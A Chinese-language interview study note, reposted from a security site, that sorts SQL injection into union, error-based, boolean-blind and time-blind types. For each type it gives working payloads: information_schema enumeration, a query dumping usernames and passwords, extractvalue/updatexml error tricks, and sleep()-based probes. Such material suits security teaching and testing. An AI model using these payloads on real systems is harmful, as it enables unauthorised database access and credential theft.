面试题sql注入的分类概念性总结

sql注入的分类

联合查询注入

报错型注入

布尔盲注

时间盲注

在单引号字符型注入的前提下,如果是整型注入,则把单引号和注释符(–+)去掉,若是双引号注入则把单引号换成双引号。

联合查询注入

使用场景

页面上有显示位

什么是显示位:在一个网页正常页面,服务端执行SQL语句查询数据库中的数据库,客户端将数据展示在页面中,这个展示数据的位置就叫显示位。

注意

要求多条查询语句的查询列数是一致的

union关键字默认去重,如果使用union all可以包含重复项

union查询注入中,可以先用concat或者是concat_ws将多列结果拼接为一列,再使用group_concat将多行结果在一行输出

payload

1. 判断是否存在注入,判断注入点类型:

1 and 1=1#(整型)

1 and 1=2#(整型)

1' or '1'='1(字符型)

1' or '1'='2(字符型)

2. 判断当前数据表中有几列

order by

3. 查询显示位在第几列(假设一共3列):

-1' union select 1,2,3

注意:这里必须是查询一个不存在的记录才能起作用

4. 显示当前数据库(假设显示位包含第三位):

-1' union select 1,2,database()

5. 查看当前数据库中的所有表:

select group_concat(table_name) from information_schema.tables where table_schema=database()

函数group_concat()把所有结果都在一行输出

6. 查询所有数据库:

select group_concat(schema_name) from information_schema.schemata

7. 查询某个数据库中的表

select group_concat(table_name) from information_schema.tables where table_schema='security'

8. 查询某个表中的所有字段:

select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'

9. 查询某个表中的字段内容

select group_concat(username,0x3a,password) from security.users

报错型注入

使用场景

页面上没有显示位但是有sql语句执行错误信息输出

payload

主要有3种SQL注入报错方式:

extractvalue

updatexml

floor

ExtractValue()

它接收两个字符串参数,第一个参数可以传入目标xml文档,第二个参数是用Xpath路径表示法表示的查找路径。这里如果Xpath格式语法书写错误的话,就会报错。

这里就是利用这个特性来获得我们想要知道的内容。

mysql> select ExtractValue('', '~');
ERROR 1105 (HY000): XPATH syntax error: '~'

利用concat函数将想要获得的数据库内容拼接到第二个参数中,报错时作为内容输出

mysql> select ExtractValue('', concat('~', (select database())));

ERROR 1105 (HY000): XPATH syntax error: '~security'

updatexml()

UpdateXML(xml_target, xpath_expr, new_xml)

xml_target:需要操作的xml片段

xpath_expr:需要更新的xml路径(Xpath格式)

new_xml:更新后的内容

不过这些参数都不太重要,这里和上面的extractvalue函数一样,当Xpath路径语法错误时,就会报错,报错内容含有错误的路径内容

mysql> select updatexml('test', concat('~', (select database())), 'test');

ERROR 1105 (HY000): XPATH syntax error: '~security'



mysql> select updatexml('test', concat('~', (select version())), 'test');

ERROR 1105 (HY000): XPATH syntax error: '~5.7.27-0ubuntu0.18.0.1'

ExtractValue()UpdateXml()类似,它们的第二个参数使用Xpath路径法表示的查找路径。这里如果Xpath格式语法书写错误的话,就会报错。利用concat函数将想要获得的数据库内容拼接到第二个参数中,报错时作为内容输出。

ExtractValue()Updatexml()函数一样,当Xpath路径语法错误时,就会报错,报错内容含有错误的路径内容。利用concat()函数将想要获得的数据库内容拼接到第二个参数中,报错时作为内容输出。

floor()

floor()报错注入的原因是group by在向临时表插入数据时,由于rand()多次计算导致插入临时表时主键重复,从而报错,又因为报错前concat()中的SQL语句或函数被执行,所以该语句报错且被抛出的主键是SQL语句或函数执行后的结果。

其他的报错函数:

geometrycollection()

multipoint()

polygon()

multipolygon()

linestring()

multilinestring()

exp()

exp()报错的原理:

exp是一个数学函数,取e的x次方,当我们输入的值大于709就会报错。然后~取反它的值总会大于709,所以报错。

在报错注入中,查询字段的内容,不能用group_concat将所有结果都在一行输出,会出现子查询多于1列的情况。可以直接查询字段名,后面使用limit x,1来显示第x条记录。当需要查询多列内容时,可以使用concat或者是concat_ws拼接不同列的结果字符串,再在后面使用limit x,1来显示第x条记录。

通过updatexml()或者ExtractValue()报错,对输出字符有长度限制,最长为32位。这里可以用分割函数分割出来:

mid(列名,起始位置,[截取长度])

起始位置从1开始,第一个参数可以为sql语句

substr(字符串,起始位置,截取长度)

起始位置是从1开始的,第一个参数可以为sql语句

left()得到字符串左部指定个数的字符

left(字符串,长度)

(1)left(database(),1)>’a’,查看数据库名第一位,left(database(),2)>’ab’,查看数据库名前二位。

(2) 同样的string可以为自行构造的sql语句

布尔盲注

使用场景

页面没有显示位,也没有SQL语句执行错误信息,只能通过页面返回是否正常来判断注入点

payload

数据库名相关

1. 查询数据库个数

count()

2. 查询某一个数据库名长度

length(),limit x,1

3. 查询某个数据库名

limit x,1, substr(str,1,1), ascii()

数据表

1. 查询表的个数

count()

2. 查询某个表名的长度

length(), limit x,1

3. 查看某个表名

limit x,1, substr(str,1,1),ascii()

字段相关

1. 查看某个表中的字段个数

count()

2. 查看某个表中字段名长度

length(), limit x,1

3. 查看某个字段名

limit x,1, substr(str,1,1), ascii()

记录内容相关

1. 查看表中行数

count(*)

2. 查看某个字段内容的长度

length(), limit 1,1

3. 查看某个字段的内容

limit x,1, substr(x,1,1),ascii()

布尔盲注有四个步骤,数据库名相关,数据表,字段相关,记录内容相关。在每个步骤中,需要获取3个基本信息。使用count()查询记录的个数,使用length()和limit x,1查询某条记录的长度。使用limit x,1, substr(), ascii()来查询某条记录的内容。limit x,1的作用是指定一条记录,substr()的作用是截取指定记录的一个字符,ascii()的作用是将截取的字符转换为ascii码,与具体的数值进行比较,从而获取指定记录中某一位具体的字符。

Sql注入截取字符串常用函数

sqlmap中用于布尔盲注

ORD(string):返回字符串首字符的ASCII码值

MID(string, start, length):返回字符串从start开始长度为length的字符串。

IFNULL(string1, string2):如果string1是NULL则返回string2,如果不是NULL返回string1。

CAST(volume as type): 用于数据类型转换,将volume转换成type类型(如这里是将数字转换为字符串)

COUNT(): 统计个数

DISTINCT(): 标记只要不同(唯一)的值

时间盲注

使用场景

页面上没有显示位,也没有输出SQL语句执行错误信息。正确的SQL语句和错误的SQL语句返回页面都一样,但是加入sleep(5)条件之后,如果if条件成立则页面返回速度明显慢了5秒。

常用函数

时间盲注也叫延时注入,一般会用到函数sleep(),BENCHMARK(), 还可以使用笛卡尔积

条件判断函数

if(expre1, expre2, expre3)

当expre1为true时,返回expre2。为false时,返回expre3。

分割函数

substr, substring, left

一般喜欢把分割函数进行编码,编码的好处是可以不使用引号。常用的编码函数有ascii(),hex()

payload

与布尔盲注的思想类似。

如果使用=比较,当expre1为true时,返回sleep(5),否则返回1。因为=只能有一个值满足条件。

?id=1' and if(ascii(substr(database(),1,1))>115,1,sleep(5))--+

?id=1' and if((substr((select user()),1,1)='r'),sleep(5),1)--+1.判断数据库的个数

?id=1' and if(ascii(substr(database(),1,1))>115,1,sleep(5))--+
?id=1' and if((substr((select user()),1,1)='r'),sleep(5),1)--+

2.判断数据库名的长度

id=1' and if((select length(schema_name) from information_schema.schemata)=9, sleep(5), 1) --+

3.查询数据库名

id=1' and if((select ascii(substr((select schema_name from information_schema.schemata limit 0,1)1,1)))=105, sleep(5), 1) --+

本文为转载文章,源自互联网,由网络整理整理编辑,转载请注明出处:https://www.hacksafe.net/articles/web/6273.html

发表评论

邮箱地址不会被公开。 必填项已用*标注